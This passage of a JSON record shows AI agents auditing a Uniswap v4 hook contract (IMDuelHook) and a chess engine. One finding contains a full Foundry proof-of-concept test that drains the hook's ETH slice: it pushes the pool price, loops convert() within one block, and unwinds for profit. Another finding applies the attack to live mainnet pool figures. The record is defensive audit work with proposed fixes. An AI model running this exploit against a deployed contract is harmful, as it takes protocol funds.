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Do not change any contract source, constructor argument or compiler setting: the project builds with forge build (ChessEngineV5 at 200 optimizer runs through foundry.toml's compilation_restrictions, 22,182 bytes), and its tests pass with forge test.","parentJobId":null,"planHash":"b68713dd76308749d965345accb7d3ff0cf5df9b349b1cd8981b9811e4f3e72a","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"9a08c49a-1842-49bb-b771-fa477cf600b4","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2625-deploy-foundry-project-exactly"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52619","feedbackHash":"59757f6c31abbbcdeaf7f1a7a438f78d02cbc5ebf76772405728e97ebc879a4f","nodeKey":"adapt_contract_project","submissionHash":"4ccb5b24b52130a4625fe2172ddcd3606ab87e8f6aea873174a99d8bc289e3aa","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52624","feedbackHash":"492959d92bfd86b1178a39020989bacc22134551298054f69b2dfabe75814a28","nodeKey":"adapt_contract_project","submissionHash":"34093f4f338e96865e4ec6335d44e8808469e79038bc6cac2de473a48f15c529","tag1":"verification:checks","tag2":"acceptance-v2","value":0},{"agentId":"52482","feedbackHash":"d488565126510b01a109879cf31616e3d5e4063149efab57e8489fb43c886ffd","nodeKey":"audit_economics","submissionHash":"075da19c38a8655d2493526fb1d8ef9865de819199f794ca0aaae9fea8765d0f","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51041","feedbackHash":"9afd04d1b7502f77c49091bb56d599f5f7fb0e285ec1935010501b3397f74815","nodeKey":"audit_flow","submissionHash":"178d28c9c9bbc39141ae11b61db98b60872dba100d9e08678878707258a41085","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"53911","feedbackHash":"b80bff0ce441f9d031849d569737632fd0484cef8a9a6be5733569d2bf6bf844","nodeKey":"audit_imported_code","submissionHash":"2e4bbaa4fc95fe7c973c7937b753338b74cdbed051ae5484273460c0ea0e769e","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52272","feedbackHash":"e91adbb5769b50560f700c34a27e7c2a7e44502166d9fa8d61578d8dd879ea2c","nodeKey":"audit_math","submissionHash":"4b876df3410c0f0f4a8752c494d2d53229c8b138b32180c807bc9fba42d34218","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51197","feedbackHash":"ec136cb2c908820a5ef1b04e48d2e82d7bff859f6f25527a8157d2bd2fcca87b","nodeKey":"audit_permissions","submissionHash":"141fdffa4fd9fad80e5ba641ce1ad9bad7255a9a998abdbb594c4e88035834fa","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52622","feedbackHash":"cad55a45db76db07a319630ab06f2832d113b1429aed056a902fb659c4e6a33b","nodeKey":"write_foundry_tests","submissionHash":"1872b3c68e5d4ac29db3c25403a395fb012aadfd575fe55246bffca2a37dcc14","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"64ecb89528665c4a0598d60cc4565add5cef07ecfe80dfad1ec6edce633a3aa5","state":"blocked","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e8e860c7f2306473","findings":[{"citation":"resolved","description":"The ETH leg of _convert (src/IMDuelHook.sol:470-471) protects the slice two ways: each batch spends at most ETH_BATCH_MINS * minEth, and _swapClaims(..., main=false) stops 0.1% (sqrt) past the IMD/ETH pool's *current* price (line 495: `from = main ? _blockStart(sqrtPrice) : sqrtPrice`). Neither is a per-block limit. convert(c) is callable by anyone, checks no minimum (_minBatch is only consulted in _play) and can be called any number of times in one block or one transaction. Every call starts a new batch from the price the previous one left, so the band walks and the cap is paid again. An attacker therefore (1) buys IMD with ETH in the hookless IMD/ETH route pool, making IMD dear in ETH, (2) calls convert(ETH) in a loop until pile[ETH] is empty, so the hook sells its entire ETH pile for IMD at the pushed price, and (3) sells the IMD back. The hook's purchases shift the curve in the attacker's favour, so the unwind returns more ETH than the push cost; the difference is paid by the protocol slice that should have bought $IMDUEL for the main chest and the burn. The main-duel leg is not exposed the same way because its band is anchored to the block's first price (_blockStart); the route leg anchors to the current price precisely because it is 'not ours to watch' and relies on the per-batch cap, which repeated calls defeat. Precondition: pile[ETH] large relative to the route pool's depth (after a whale trade in an ETH duel the trade's own batch converts only 10 minimums, the rest waits) so that the pile's mispricing exceeds the attacker's LP fees. Impact: loss of protocol funds (the ETH slice) to the attacker, permissionlessly, no capital at risk beyond fees. Fix (minimal, keeps the design): allow at most one ETH batch per block (record the block of the last ETH batch, or anchor the route band to a block-start price as the main leg does), and have convert() respect _minBatch.","line":419,"path":"src/IMDuelHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {Deployers} from \"v4-core/test/utils/Deployers.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {PoolId, PoolIdLibrary} from \"v4-core/src/types/PoolId.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {IMDuelHook, IMDUEL_HOOK_FLAGS} from \"src/IMDuelHook.sol\";\nimport {IChessEngine} from \"src/IChessEngine.sol\";\n\n/// The ETH protocol slice: an ETH batch is capped at ETH_BATCH_MINS * minEth and buys within 0.1% (sqrt) of the\n/// IMD / ETH pool's *current* price. convert() is permissionless, has no minimum and no per-block limit, so a caller\n/// can push the IMD / ETH price and then call convert(ETH) in a loop in the same block: every call walks the band\n/// 0.1% further and spends another batch, until the whole ETH pile has bought IMD at the pushed price. The caller\n/// unwinds for a profit; the hook's slice bought far less IMD than the pool's price before the push gave.\ncontract EthBatchLoopTest is Test, Deployers {\n    using CurrencyLibrary for Currency;\n    using PoolIdLibrary for PoolKey;\n    using StateLibrary for IPoolManager;\n\n    uint256 constant MIN = 5e16; // minEth: an ETH batch spends at most 10 * MIN = 0.5 ETH\n    IMDuelHook hook;\n    Currency imd;\n    Currency duel;\n    Currency x;\n    PoolKey route; // IMD / native ETH, no hook\n    PoolKey ethX; // an ETH duel on the hook\n\n    function token(string memory name) internal returns (Currency c) {\n        MockERC20 t = new MockERC20(name, name, 18);\n        t.mint(address(this), 1e36);\n        t.approve(address(swapRouter), type(uint256).max);\n        t.approve(address(modifyLiquidityRouter), type(uint256).max);\n        c = Currency.wrap(address(t));\n    }\n\n    function setUp() public {\n        deployFreshManagerAndRouters();\n        (imd, duel, x) = (token(\"IMD\"), token(\"IMDUEL\"), token(\"X\"));\n        IChessEngine engine = IChessEngine(vm.deployCode(\"ChessEngineV5.sol:ChessEngineV5\"));\n        address at = address(IMDUEL_HOOK_FLAGS | (uint160(0x1D0E1) << 40));\n        deployCodeTo(\n            \"IMDuelHook.sol:IMDuelHook\",\n            abi.encode(manager, engine, imd, uint24(3000), uint24(60), IHooks(address(0)), MIN, MIN, MIN, uint256(1)),\n            at\n        );\n        hook = IMDuelHook(at);\n        // the main duel, IMD / $IMDUEL, deep\n        (Currency c0, Currency c1) = imd < duel ? (imd, duel) : (duel, imd);\n        (PoolKey memory main,) = initPool(c0, c1, IHooks(address(hook)), 3000, SQRT_PRICE_1_1);\n        modifyLiquidityRouter.modifyLiquidity(main, ModifyLiquidityParams(-887220, 887220, 1_000_000e18, 0), \"\");\n        vm.deal(address(this), 1e30);\n        // the IMD / ETH route: a plain pool about 100 ETH / 100 IMD deep at a price of 1\n        route = PoolKey(CurrencyLibrary.ADDRESS_ZERO, imd, 3000, 60, IHooks(address(0)));\n        manager.initialize(route, SQRT_PRICE_1_1);\n        modifyLiquidityRouter.modifyLiquidity{value: 200e18}(route, ModifyLiquidityParams(-887220, 887220, 100e18, 0), \"\");\n        // an ETH duel, deep, so one big trade leaves a big ETH slice\n        (ethX,) = initPool(CurrencyLibrary.ADDRESS_ZERO, x, IHooks(address(hook)), 3000, SQRT_PRICE_1_1);\n        modifyLiquidityRouter.modifyLiquidity{value: 2e27}(ethX, ModifyLiquidityParams(-887220, 887220, 1e27, 0), \"\");\n        // 5,000 ETH traded in the ETH duel: a 5 ETH slice; the trade's own batch converts at most 0.5 ETH of it\n        swapNativeInput(ethX, true, -5000e18, \"\", 5000e18);\n    }\n\n    function test_convertLoopDefeatsTheEthBatchCap() public {\n        uint256 pileBefore = hook.pile(CurrencyLibrary.ADDRESS_ZERO.toId());\n        assertGe(pileBefore, 4e18, \"a big ETH pile waits\");\n        vm.roll(block.number + 1);\n        vm.warp(block.timestamp + 12);\n\n        // the attacker: a fresh wallet with 10 ETH\n        address attacker = address(0xA11CE);\n        vm.deal(attacker, 10e18);\n        uint256 imdBefore = imd.balanceOf(attacker);\n        // 1. push the IMD / ETH price: buy IMD with 10 ETH (IMD gets ~20% dearer in ETH)\n        vm.startPrank(attacker);\n        swapRouter.swap{value: 10e18}(\n            route, SwapParams(true, -10e18, MIN_PRICE_LIMIT), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n        uint256 imdHeld = imd.balanceOf(attacker) - imdBefore;\n        // 2. convert in a loop, same block: each call is another capped batch in a band 0.1% past the *current* price\n        uint256 calls;\n        while (hook.pile(CurrencyLibrary.ADDRESS_ZERO.toId()) != 0 && calls < 60) {\n            uint256 before = hook.pile(CurrencyLibrary.ADDRESS_ZERO.toId());\n            hook.convert(CurrencyLibrary.ADDRESS_ZERO);\n            calls++;\n            if (hook.pile(CurrencyLibrary.ADDRESS_ZERO.toId()) == before) break;\n        }\n        uint256 ethSpent = pileBefore - hook.pile(CurrencyLibrary.ADDRESS_ZERO.toId());\n        // 3. unwind: sell the IMD back for ETH\n        MockERC20(Currency.unwrap(imd)).approve(address(swapRouter), type(uint256).max);\n        swapRouter.swap(\n            route, SwapParams(false, -int256(imdHeld), MAX_PRICE_LIMIT), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n        vm.stopPrank();\n\n        emit log_named_uint(\"convert() calls in one block\", calls);\n        emit log_named_uint(\"ETH the hook spent in that block\", ethSpent);\n        emit log_named_uint(\"attacker ETH after unwinding (started with 10e18)\", attacker.balance);\n\n        // the documented cap: an ETH batch spends at most ETH_BATCH_MINS * minEth, and the band stops a batch 0.1%\n        // past the price; one block should not sell more than one capped batch into a price it did not start at\n        assertLe(ethSpent, 10 * MIN, \"one block sold the whole ETH pile into a pushed price\");\n        assertLe(attacker.balance, 10e18, \"the pusher profits from the hook's slice\");\n    }\n}","reproduction":"Setup (test/scratch/EthBatchLoop.t.sol): hook with ethFee 3000 / spacing 60 / no route hook, minEth = 0.05 ETH (batch cap 0.5 ETH); IMD/ETH route pool 100 ETH / 100 IMD at price 1; an ETH/X duel with deep liquidity. A 5,000 ETH buy in the ETH duel leaves a 5 ETH slice; the trade's own batch converts at most 0.5 ETH, so about 4.9 ETH waits in pile[ETH]. Next block, attacker 0xA11CE with exactly 10 ETH: swap 10 ETH -> IMD in the route pool (IMD becomes ~20% dearer), then call hook.convert(address(0)) repeatedly in the same block (44 calls until pile[ETH] == 0), then sell all the IMD back. Expected (documented): one block sells at most one capped batch (0.5 ETH) and only within 0.1% of the price; the pusher cannot profit from the slice. Actual: the hook spent 4,899,598,695,987,863,489 wei (4.9 ETH, 9.8x the cap) in one block at the pushed price, and the attacker ended with 10,801,592,569,029,954,799 wei (+0.80 ETH from 10 ETH). forge test --match-path test/scratch/EthBatchLoop.t.sol fails on the current code with 'one block sold the whole ETH pile into a pushed price: 4899598695987863489 > 500000000000000000'.","severity":"high","snippet":"    function convert(Currency c) external {\n        manager.unlock(abi.encode(uint8(2), abi.encode(address(0), c, uint256(0))));\n    }","title":"Permissionless convert() loop defeats the ETH batch cap: the whole ETH slice pile can be sold into a pushed IMD/ETH price in one block, for the pusher's profit"},{"citation":"resolved","description":"_pull calls transferFrom through IERC20Min (src/IMDuelHook.sol:25-27), which declares `returns (bool)`. Solidity's external-call decoding reverts when the callee returns fewer than 32 bytes, so a token whose transferFrom returns nothing (USDT, BNB and other pre-ERC20-final tokens) makes fundChest revert before the unlock, even though the transfer itself succeeded. The adaptation note says a token answering false is refused on purpose; a token answering nothing is not false, and v4's own CurrencyLibrary.transfer (used one line later to forward the tokens) accepts it. A duel pairing such a token with IMD/$IMDUEL/ETH opens normally and takes fees into both chests, but nobody can top up the no-return token's chest with fundChest. Fees keep funding it, so no funds are lost; the public funding path is simply unavailable for that token class. Fix: do the pull with a low-level call that accepts empty return data (the same rule CurrencyLibrary.transfer applies), e.g. OpenZeppelin SafeERC20.safeTransferFrom or a hand-rolled check `success && (data.length == 0 || abi.decode(data,(bool)))`.","line":414,"path":"src/IMDuelHook.sol","reproduction":"Deploy a MockERC20 variant whose transferFrom(address,address,uint256) performs the transfer and returns nothing (no return statement, function declared without returns). Open a duel pairing it with IMD on the hook (afterInitialize accepts it), approve the hook, call hook.fundChest(key, inCurrency1 = <that token's side>, 1e18). Expected: the chest increases by 1e18 and ChestFunded is emitted (the transfer succeeded). Actual: the call reverts inside _pull while ABI-decoding the empty return data of transferFrom; the chest is unchanged. Verified with test/scratch/NoReturnFund.t.sol (a NoReturnToken whose transferFrom returns nothing, paired with IMD on the hook, approved, then fundChest(k, side, 1e18)): forge test --match-path test/scratch/NoReturnFund.t.sol fails with EvmError: Revert at the fundChest call on the current code.","severity":"low","snippet":"        if (!IERC20Min(Currency.unwrap(c)).transferFrom(msg.sender, address(this), amount)) revert BadValue();","title":"fundChest refuses tokens whose transferFrom returns no value (USDT-style), so chests of such duels cannot be funded"},{"citation":"resolved","description":"_trade makes the bid's owner, and therefore the recipient of its bounty (_payBounty -> _pay), the 20-byte hookData when a router forwards one and tx.origin otherwise. For an EOA trading directly or through a router this is the trader. For a smart-contract wallet (Safe, ERC-4337 account) or any relayed/meta-transaction swap, tx.origin is the executor: the Safe signer who submits execTransaction, the 4337 bundler, or the relayer. Their bounty, up to the chest's share of a capture/check/mate (2,700 bps for a queen, 2,500 for mate, capped at twice what the trade received), is then taken from the chest and paid to that third party. The design note calls this 'the signing wallet', which it is not for those callers. This is a documented design choice rather than a permission bypass, so it is reported as low with the concrete misdirection; a routing UI that always sets hookData to the payer avoids it, and the hook could default to the swap's sender (the first argument of beforeSwap/afterSwap, the router) only when it is known, so a safer default would be to require hookData for a bid and make a trade without it a no-bid trade.","line":588,"path":"src/IMDuelHook.sol","reproduction":"State: main duel with chest for team 1 of 100e18 and a position where the side to move (team 1) has a mate in one. A contract wallet W (no receive, any Safe-like executor) is called by EOA R (tx.origin = R) and swaps 1e18 of currency0 for currency1 through PoolSwapTest with empty hookData in the bid window's last block. Next block any trade resolves the move. Expected (per the notes, 'the signing wallet'): Reward(owner = W) and the bounty, min(100e18 * 2500 / 10000, 2 * got) = ~2e18, taken from chest 1 to W. Actual: the Bid event names R, _payBounty pays the ~2e18 of currency1 to R via payOut (or records owed[R]); W receives nothing. Also checked: a swap through the same router with hookData = abi.encodePacked(W) pays W, which is the documented workaround.","severity":"low","snippet":"        address owner = hookData.length == 20 ? address(bytes20(hookData)) : tx.origin;","title":"Default bid owner is tx.origin: trades sent from contract wallets or through relayers/bundlers without hookData pay their bounties to the transaction submitter"}],"hash":"075da19c38a8655d2493526fb1d8ef9865de819199f794ca0aaae9fea8765d0f","nodeId":"70443d37-0050-4738-b089-477cf119fb50","outcome":"completed","summary":"The findings file is complete and verified against the tree. Git shows no tracked changes, so the only writes are the findings file and the scratch tests, which are permitted.\n\n## Economics review of IMDuelHook: result\n\nI reviewed the money flows of `src/IMDuelHook.sol` against the Economic Security, Invariant and Flow Gap guides. The findings file holds three findings and fourteen coverage rows, one for each of the nine listed entry points plus five invariants.\n\n**Finding 1, high: a permissionless `convert()` loop defeats the ETH batch cap.** The ETH leg of conversion relies on a per-batch cap and a 0.1% band around the route pool's current price. Nothing limits how often `convert()` runs in a block, so each call starts a fresh batch from the price the last one left. An attacker pushes the IMD/ETH price, loops `convert(ETH)`, and unwinds. In the proof test the hook sold 4.9 ETH of slice in one block, nearly ten times the cap, and the attacker ended with 10.80 ETH from 10 ETH. The proof is `test/scratch/EthBatchLoop.t.sol` and fails on the current code. Minimal fix: one ETH batch per block, or anchor the route band to a block-start price as the main leg already does.\n\n**Finding 2, low: `fundChest` reverts for tokens whose `transferFrom` returns nothing.** USDT-style tokens pass the pool's own transfer helper but fail the hook's bool-decoding pull. Verified with `test/scratch/NoReturnFund.t.sol`. No funds lost, fees still fill the chest.\n\n**Finding 3, low: bounties default to `tx.origin`.** Contract wallets, bundlers and relayers submitting swaps without hookData see the bounty paid to the submitter. This is a documented choice, so it is recorded as a design note with a concrete case.\n\n**What holds.** I traced the conservation invariant (claims equal chests plus pile plus owed) through every writer, the 2x payout cap, the full-fill check for exact input and exact output, the before/after fee split, the transient lock against nested swaps from an ETH payee, and the main-duel batch band anchored to the block's first price. Cross-block sandwiches of the main leg cost more in fees than the band can return. All nine entry points have a row: `convert` and `fundChest` carry findings, the other seven hold.\n\n**Not reached.** I did not exercise exact-output trades or the EIP-2935 path in a live test, and I did not assess whether the mainnet IMD/ETH pool is deep enough to make finding 1 unprofitable at the launch's 0.02 ETH minimum. That depth decides its practical severity.","treeHash":null,"usage":{"cachedInputTokens":1721942,"inputTokens":420,"model":"claude-fable-5-1","outputTokens":64409,"runtime":"claude","turns":29,"wallClockMs":1684951}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f2d7eadae2a3cfdf","findings":[{"citation":"resolved","description":"Seam: access x economics (Trust Gap). The ETH leg of a conversion sells the hook's ETH slice in the IMD/ETH route pool, a pool the hook does not watch. Its price limit is 0.1% (sqrt) from that pool's price at the moment of the call: `uint256 from = main ? _blockStart(sqrtPrice) : sqrtPrice;` (line 495). Unlike the main-duel leg, it is not anchored to the price at the start of the block. The code relies on a size cap instead: `uint256 batch = amount / ETH_BATCH_MINS > minEth ? ETH_BATCH_MINS * minEth : amount;` (line 470). The comment at lines 484-488 explains the cap: \"a batch is capped instead, at a size not worth the fees of pushing a deep pool\". But the cap is per call. `convert(Currency)` has no guard, no once-per-block limit and no once-per-transaction limit, so one caller can push the route pool once and then call `convert(ETH)` N times in the same transaction. Each call sells another 10*minEth at a limit set from whatever price the previous batch left. The fee cost of one price push is then spread over the whole pile, not over one batch. The pile does grow past one batch: each trade in an ETH duel adds 0.1% of its ETH side to the pile but converts at most 10*minEth (test/Slice.t.sol test_anEthBatchIsCapped shows a 100-ETH trade leaving 90 minimums waiting). Other duels' trades never convert the ETH pile. Actor: any EOA or contract. Root cause: a value-protecting cap that only works if each price push buys one batch, together with an entry point anyone can repeat. The hook is not deployed by this launch (launch.json deploys ChessEngineV5 alone), but it is the code in src/ and in launch/hook.json.","line":419,"path":"src/IMDuelHook.sol","reproduction":"Launch parameters from launch/hook.json: ethFee 10000 (1% route pool), minEth 0.02 ETH, so one batch is 0.2 ETH. Mainnet state read at block 26287914 for the route pool 0xb07d640fd9e2eb9dc81b953c8e4fd006bdfeaf276010fb5418eb763ca15abfb3 (PoolManager 0x000000000004444c5dc75cB358380D2e3dE08A90 extsload of pools[id] slot0 and liquidity): in-range liquidity 8886425539605457428309, about 410 ETH / 192,624 IMD of virtual depth (about 470 IMD per ETH). State: an ETH duel (native ETH / token X on this hook) has taken ETH-side trades whose slice leaves pile[0] = P ETH, e.g. one 5,000-ETH trade gives 5 ETH of slice, one 0.2 ETH batch runs in its _play, and P = 4.8 ETH waits. Sequence, all in one attacker transaction while the PoolManager is locked: (1) swap ETH for IMD in the route pool to raise IMD's ETH price by d (about 410*d/2 ETH in); (2) call hook.convert(Currency.wrap(address(0))) ceil(P/0.2) = 24 times. Each call passes the `limit <= sqrtPrice` check at line 499, because the limit is taken from the current, pushed price, and sells 0.2 ETH for IMD at about the pushed price; (3) sell the IMD back into the route pool. Expected, which is the documented guarantee: at most one 0.2-ETH batch is sold per price push, so a push never pays (it costs ~2% of the push volume in LP fees). Actual: all P ETH is sold at the pushed price. The hook loses about P*d, and the attacker pays about 0.01*410*d in fees. The attack therefore profits whenever P exceeds about 4 ETH at today's route depth, not about 20 ETH as the per-batch cap assumes for a single batch. Fix, keeping the design: anchor the ETH leg to a route price recorded once per block (as _blockStart does for the main duel), or cap the ETH sold per block (store block number and amount sold) rather than per call.","severity":"medium","snippet":"    function convert(Currency c) external {\n        manager.unlock(abi.encode(uint8(2), abi.encode(address(0), c, uint256(0))));\n    }","title":"Anyone can call convert(ETH) many times in one transaction, so the per-batch ETH cap does not limit how much ETH is sold at a manipulated IMD/ETH spot price"},{"citation":"resolved","description":"Seam: access x asymmetry (Trust Gap). The bid owner is the 20-byte hookData if present, otherwise tx.origin. The comment at line 575 calls tx.origin \"the signing wallet\", but tx.origin is the account that signed the outer transaction. That is a different account from the trader for ERC-4337 smart accounts (the bundler signs), meta-transaction relayers, intent and solver settlement (UniswapX fillers, CoW solvers), and keeper-executed orders. Through any route that does not forward 20-byte hookData, the top bid, the move it plays and every bounty from _payBounty (up to PAYOUT_CAP x the trade's output, and MATE_BPS 25% of the team chest on a mate) are credited to the relayer's EOA. The trader paid for the bid with their own swap. Two traders making the same swap are treated differently depending only on how the swap was relayed.","line":588,"path":"src/IMDuelHook.sol","reproduction":"State: the main duel, with White's team to move and its chest at C tokens. Alice's ERC-4337 smart account 0xA11CE (or a CoW/UniswapX order filled by solver EOA 0xB0B) swaps through a router that passes empty hookData. The swap is the largest bid and later plays a capture of a queen. tx.origin is the bundler/solver 0xB0B. Expected: TopBid.owner == 0xA11CE, and the Reward event pays 0xA11CE min(C*270/10000, 2*output). Actual: _trade sets owner = tx.origin = 0xB0B, so the Bid event and TopBid.owner show 0xB0B, and _pay sends the bounty to 0xB0B (or credits owed[0xB0B]). Alice cannot claim it: withdraw(who, c) only pays `who`. A test can reproduce this with `vm.prank(router, bundler)` (msg.sender router, tx.origin bundler) and empty hookData. Fix, keeping the hookData override: fall back to the swap's `sender` argument (the router), or document the requirement and have routers forward the trader in hookData. Do not present tx.origin as the trader.","severity":"low","snippet":"        address owner = hookData.length == 20 ? address(bytes20(hookData)) : tx.origin;","title":"A bid's owner and its bounty default to tx.origin, which pays relayed and smart-wallet trades to the relayer or bundler, not to the trader"},{"citation":"resolved","description":"Outside the permissions area, but it concerns the manifest under review. ADAPTATION.md change 1 removed the stalemate piece-count gate in _exact(). Its 'Effect' item says the runtime went from 22,182 to 22,111 bytes and that 'The manifest notes, which the manifest step writes, should give the new size'. The notes still say 22,182. The manifest is otherwise schema-valid for this recipe. kind is evm_contracts. ChessEngineV5 has no constructor, so constructorArgs [] has one entry per parameter. The name is 13 characters and unique. The notes are under 4,000 characters, and there are no extra keys. The notes' permission claims are accurate: no owner, admin, storage, payable path or state-changing function.","line":9,"path":"launch.json","reproduction":"Ran `forge build` with the committed foundry.toml (ChessEngineV5 at 200 runs through compilation_restrictions), then read out/ChessEngineV5.sol/ChessEngineV5.json deployedBytecode: 22,111 bytes. Expected: the notes give 22,111. Actual: \"(22,182 bytes)\". This is notes text only and does not affect deployment. The size is under EIP-170's 24,576 either way.","severity":"info","snippet":"  \"notes\": \"IMDuel's chess engine on Ethereum (chain 1), deployed alone before the hook launch: no token, pool, distributor, owner, admin or upgrade path; nothing is called after deployment. ChessEngineV5 is pure: play() chooses a move for a position at a strength (0-10,000 basis points) and applies it by the rules (Rules library, Bitboard library), playAny() picks a seeded legal move. It holds no state and no funds. It compiles at 200 optimizer runs (foundry.toml compilation_restrictions) to stay under the 24,576-byte runtime limit (22,182 bytes).\"","title":"launch.json notes give the old ChessEngineV5 runtime size (22,182 bytes); the committed source builds to 22,111"}],"hash":"141fdffa4fd9fad80e5ba641ce1ad9bad7255a9a998abdbb594c4e88035834fa","nodeId":"5aba15c1-f706-4bbd-81fa-b75e24100a3f","outcome":"completed","summary":"I've written the review to `.imd-findings.json`: three findings and 11 coverage rows. That covers all 9 entry points, plus ChessEngineV5 and one accounting invariant. All three quoted snippets match the tree, and no other file changed (`git status` is clean). There is no Foundry proof test, because none of the findings is high or critical, and I did not run `forge test`.\n\n**What this launch deploys.** `launch.json` deploys only ChessEngineV5. It has no constructor, storage, owner or payable path, and `play`, `playAny` and `choose` are all pure. So the deployed contract has nothing to control access to, and `constructorArgs: []` is correct. Every listed entry point belongs to IMDuelHook, which this launch does not deploy, so the findings below are about the hook.\n\n**Findings**\n1. **Medium – `convert(ETH)` can be repeated in one transaction** (`src/IMDuelHook.sol:419`).\n   - **The design:** the ETH conversion swaps in the IMD/ETH pool at that pool's current price (line 495). Its only protection is a 0.2 ETH cap per batch (line 470).\n   - **The gap:** anyone can call `convert`, and nothing stops repeat calls. One caller can push the pool's price once, then call `convert` about 24 times to sell all the ETH waiting to be converted (4.8 ETH in my example) at the pushed price, then sell back.\n   - **When it pays:** I read the live route pool on mainnet: about 410 ETH of in-range depth. At that depth the attack profits once roughly 4 ETH is waiting, against roughly 20 ETH if only one batch could be sold per push.\n   - **How the ETH builds up:** each trade adds 0.1% of its ETH side but converts at most 0.2 ETH, so trades over 200 ETH leave a growing amount (the existing `test_anEthBatchIsCapped` shows this).\n   - **Fix:** anchor the ETH price once per block, as the main duel already does, or cap ETH sold per block instead of per call.\n2. **Low – rewards default to `tx.origin`** (`src/IMDuelHook.sol:588`). When a swap doesn't pass the trader's address in hookData, the bid and its bounties go to whoever signed the transaction. For smart-wallet users that is the bundler, and for CoW or UniswapX orders it is the solver, not the trader.\n3. **Info – stale size in the manifest notes** (`launch.json:9`). I rebuilt with the committed settings: ChessEngineV5 is 22,111 bytes, but the notes (and the task) still say 22,182. `ADAPTATION.md` already said the notes should be updated. Otherwise the manifest is schema-valid.\n\n**Coverage.** I checked every entry point against the Access Control, Trust Gap and Asymmetry guides. All of these behave as intended:\n- **Manager-only callbacks:** `afterInitialize`, `beforeSwap`, `afterSwap` and `unlockCallback` accept only the PoolManager.\n- **Self-only functions:** `payOut` and `convertBatch` accept only the hook itself.\n- **`fundChest`:** it takes tokens only from the caller, and the ETH amount must match exactly.\n- **`withdraw`:** anyone can call it, but it pays only the address it was owed to.\n- **Accounting:** the hook's balance claims match its war chests, waiting conversions and owed amounts.\n\nThese static-analysis leads were not real problems:\n- **\"Locks Ether\" (aderyn):** rejected. `fundChest` passes all its ETH on to the PoolManager.\n- **Reentrancy (Slither):** the leads concern calls to the trusted PoolManager or the hook's own self-calls, which a lock or a gas cap bounds.\n\nThe risk of someone opening a fake main duel first is closed, because the hook launch opens the main duel in the same transaction (per `launch/hook.json`).\n\n**Not done:** I ran no test to reproduce findings 1 and 2. A build alone took about 5 minutes, and medium and low findings don't require a proof. The reproductions in the file are worked through by hand, using the live mainnet pool figures.","treeHash":null,"usage":{"cachedInputTokens":1434787,"inputTokens":36,"model":"claude-opus-5-5","outputTokens":31126,"runtime":"claude","turns":20,"wallClockMs":657870}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3bed38612db34f32","findings":[{"citation":"resolved","description":"The manifest's explanatory notes give the engine's runtime size as 22,182 bytes. That was the size before the accepted stalemate fix in src/ChessEngineV5.sol (_exact no longer gates the stalemate test on piece count; ADAPTATION.md section 1 records the drop to 22,111). The committed tree, built exactly as foundry.toml prescribes (solc 0.8.26, via_ir, compilation_restrictions putting src/ChessEngineV5.sol at 200 runs, bytecode_hash none), produces a 22,111-byte runtime. Notes carry no deployment authority and the contract is still under the 24,576-byte EIP-170 limit, so nothing deploys wrongly; the figure a reader or the manifest step relies on is simply out of date. The deployment itself is sound: no constructor, no owner, no storage writes, no ETH path, no DELEGATECALL/CALLCODE/SELFDESTRUCT in reachable code, one contract with an empty constructorArgs list, schema keys only.","line":9,"path":"launch.json","reproduction":"In the committed tree run `forge build` then `forge inspect src/ChessEngineV5.sol:ChessEngineV5 deployedBytecode` and count the bytes: (len(hex) - 2) / 2 = 22111. Expected (per launch.json notes and the assignment text): 22,182. Actual: 22,111. test/Size.t.sol only asserts the budget (24,000), so nothing in the suite pins the figure in the notes.","severity":"info","snippet":"  \"notes\": \"IMDuel's chess engine on Ethereum (chain 1), deployed alone before the hook launch: no token, pool, distributor, owner, admin or upgrade path; nothing is called after deployment. ChessEngineV5 is pure: play() chooses a move for a position at a strength (0-10,000 basis points) and applies it by the rules (Rules library, Bitboard library), playAny() picks a seeded legal move. It holds no state and no funds. It compiles at 200 optimizer runs (foundry.toml compilation_restrictions) to stay under the 24,576-byte runtime limit (22,182 bytes).\"","title":"launch.json notes state a stale runtime size (22,182 bytes); the committed ChessEngineV5 compiles to 22,111 bytes"},{"citation":"resolved","description":"_trade decides who owns a bid (and so who is paid its bounty by _payBounty/_pay) from hookData when it is exactly 20 bytes, otherwise from tx.origin. The comment calls that fallback 'the signing wallet'. For a swap originated by a contract account (ERC-4337 smart account via a bundler, a Safe via a relayer, any contract that forwards user swaps) tx.origin is the EOA that submitted the outer transaction, not the account that paid for the swap. The bid, the Bid/Moved events and the bounty transfer then name and pay the submitter. Nothing in the swap path checks that tx.origin has any relation to the payer. This is deterministic, needs no adversary, and costs the actual payer the bounty its trade earned; it is low rather than higher because the site's router supplies hookData and a user can always pass its own address, so it only bites integrations 